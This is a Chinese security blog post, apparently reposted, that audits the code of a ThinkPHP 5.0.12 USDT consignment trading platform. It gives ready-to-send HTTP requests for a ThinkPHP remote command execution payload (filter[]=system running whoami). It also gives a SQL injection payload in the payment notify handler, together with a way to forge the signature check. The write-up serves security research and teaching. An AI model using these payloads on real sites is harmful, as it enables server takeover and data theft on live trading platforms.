代码审计某USDT寄售买卖平台系统

admin 2025年6月12日16:58:29评论26 views字数 2882阅读9分36秒阅读模式
免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

1.源码介绍

本程序为Thinkphp5开发,主要解决USDT的供求买卖关系,会员可以在平台挂卖或者购买USDT(通过发布订单的方式),就是一个纯场外虚_拟币的交易平台,只是一个买卖双方的售卖平台。

2.系统搭建

PHP5.6+    MySQL5.5

导入数据库 db_cash.sql

修改数据库链接application/database.php

网站运行目录为:wkb

伪静态规则:thinkphp

后台:/admin.php/login/index?type=admin

设置程序运行目录

代码审计某USDT寄售买卖平台系统

设置伪静态规则

 <IfModule mod_rewrite.c> RewriteEngine on RewriteBase / RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?s=/$1 [QSA,PT,L]</IfModule>

访问网站首页运行正常

代码审计某USDT寄售买卖平台系统

访问网站

代码审计某USDT寄售买卖平台系统

3.RCE漏洞

查看目录结构

代码审计某USDT寄售买卖平台系统

查看thinkphp版本 thinkphp/base.php

define('THINK_VERSION', '5.0.12');define('THINK_START_TIME', microtime(true));define('THINK_START_MEM', memory_get_usage());define('EXT', '.php');define('DS', DIRECTORY_SEPARATOR);

知道thinkphp版本之后 找对应版本的漏洞  https://l1ubai.github.io/vuldb/Web%E5%AE%89%E5%85%A8/Thinkphp/Thinkphp%205.x%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/Thinkphp%205.0.12/

posts=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter

payload

POST /index.do?s=index/index HTTP/1.1Host: www.d9.comReferer: http://www.d9.com/member/market/index.doAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: PHPSESSID=pqsg6lrqu1tnj2hohni11b0merContent-Type: application/x-www-form-urlencodeds=whoami&_method=__construct&method=POST&filter[]=system

用yakit发包成功返回执行的命令

代码审计某USDT寄售买卖平台系统

4.SQL注入漏洞

漏洞位置 application/member/controller/Notify.php

代码审计某USDT寄售买卖平台系统

在thinkphp5中 直接传递变量到->where函数中会造成SQL注入漏洞

$map['orderid'] = $post['out_trade_no'];$map['status'] = 0;$rs = Db::name("pay")->where($map)->find();

在这里利用还要解决签名问题 verifyAll函数 传入的post变量生成sign进行对比

代码审计某USDT寄售买卖平台系统

跟进getSignVeryfy函数

代码审计某USDT寄售买卖平台系统

把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串  $this->codepay_config['key']是一个固定的值 跟进md5Verify函数 这里就是传入的post的md5是否与签名生成的sign一致 一致就通过。

代码审计某USDT寄售买卖平台系统

在这里输入payload 打印一下sign的值

代码审计某USDT寄售买卖平台系统

yakit提交获取

代码审计某USDT寄售买卖平台系统

接着拿这个sign值加到post里面即可。

payload

POST /member/Notify/index.do HTTP/1.1Host: www.d9.comReferer: http://www.d9.com/member/market/index.doAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: PHPSESSID=pqsg6lrqu1tnj2hohni11b0merContent-Type: application/x-www-form-urlencodedout_trade_no[]=exp&out_trade_no[]=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+user&sign=4896cc9517ec96817342e275851f6c77

yakit提交截图

代码审计某USDT寄售买卖平台系统

原文始发于微信公众号(moonsec):代码审计某USDT寄售买卖平台系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月12日16:58:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计某USDT寄售买卖平台系统https://cn-sec.com/archives/4158117.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息